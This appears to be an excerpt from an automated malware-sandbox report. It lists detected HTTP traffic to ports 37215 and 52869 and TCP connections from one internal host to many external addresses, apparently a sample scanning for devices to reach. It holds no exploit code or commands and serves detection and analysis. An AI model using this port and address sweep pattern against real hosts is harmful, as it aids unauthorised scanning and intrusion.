| Source: unknown | Network traffic detected: HTTP traffic on port 55398 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57708 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50586 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60950 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 17012 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57248 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58332 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47428 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34352 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60080 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54830 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43062 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44702 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44014 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.132.235.75:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.64.238.75:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.169.115.49:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.223.17.18:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.243.213.175:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.162.0.34:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.205.100.111:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.217.17.76:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.236.63.110:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.250.231.228:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.66.156.222:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.187.70.94:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.145.181.70:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.88.123.182:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.4.20.59:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.148.250.73:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.50.184.22:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.9.220.181:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.15.78.63:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.226.3.102:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.33.233.51:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.239.48.166:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.125.79.166:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.45.213.65:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.254.225.88:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.39.106.97:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.61.177.151:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.188.169.108:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.219.220.143:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.46.33.194:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.90.119.104:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.15.87.149:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.72.111.79:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.185.178.168:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.112.150.242:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.53.243.40:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.246.254.187:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.182.248.223:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.204.147.67:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.219.77.194:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.104.90.28:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.60.22.180:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.38.175.166:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.180.177.204:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.199.51.96:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.10.166.184:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.179.58.201:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.217.58.0:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.94.149.198:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.147.188.138:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.124.129.249:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.101.220.63:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.201.169.2:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.38.125.57:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.2.59.4:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.39.150.213:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.54.63.30:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.66.201.104:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.230.170.2:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.55.57.221:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.27.236.245:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.234.149.117:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.59.243.109:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.87.143.243:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.217.50.117:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.123.216.66:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.164.75.99:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.112.107.0:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.92.198.40:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.75.18.166:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.183.84.21:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.80.255.229:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.241.100.248:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.184.197.8:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.245.25.83:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.233.89.106:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.168.52.50:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.74.177.168:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.32.99.125:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.81.168.3:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.252.117.119:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.204.114.88:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.142.201.92:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.153.113.9:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.24.4.176:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.223.129.169:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.161.237.217:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.203.157.142:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.249.43.225:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.85.5.232:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.90.120.167:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.228.188.42:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.200.249.5:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.91.185.114:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.153.64.50:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.32.95.52:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.93.15.186:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.224.7.237:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.82.168.154:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.31.107.159:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.38.152.208:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.42.53.29:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.105.228.209:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.240.94.165:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.7.26.224:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.97.119.177:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.148.109.85:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.205.127.3:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.187.199.232:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.235.215.248:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.152.115.155:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.179.27.253:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.36.74.0:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.173.91.39:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.140.208.152:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.171.43.53:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.124.71.109:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.173.65.194:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.8.5.156:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.175.199.59:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.187.204.55:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.74.101.5:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.172.191.78:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.237.67.208:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.79.248.6:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.176.222.37:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.1.174.228:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.133.6.132:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.148.249.18:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.255.189.207:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.173.243.207:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.98.147.16:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.86.35.174:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.126.151.8:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.154.166.139:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.8.175.64:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.105.132.130:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.155.40.75:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.85.120.131:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.188.21.130:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.208.149.30:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.208.92.50:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.176.254.136:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.41.99.187:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.182.254.12:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.117.99.103:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.193.250.43:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.185.233.234:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.95.221.33:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.225.154.220:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.133.24.185:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.163.214.144:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.35.177.117:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.52.133.129:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 156.93.42.222:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.127.18.177:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.62.74.160:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.206.176.107:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 41.171.118.121:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48500 -> 197.86.102.27:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:48244 -> 156.140.235.75:52869 |
| Source: global traffic | TCP traffic: 192.168.2.23:48244 -> 197.72.238.75:52869 |
| Source: global traffic | TCP traffic: 192.168.2.23:48244 -> 156.215.81.18:52869 |
| Source: global traffic | TCP traffic: 192.168.2.23:48244 -> 41.217.106.75:52869 |
| Source: global traffic | TCP traffic: 192.168.2.23:48244 -> 156.138.149.14:52869 |
| Source: global traffic | TCP traffic: 192.168.2.23:48244 -> 41.149.248.129:52869 |
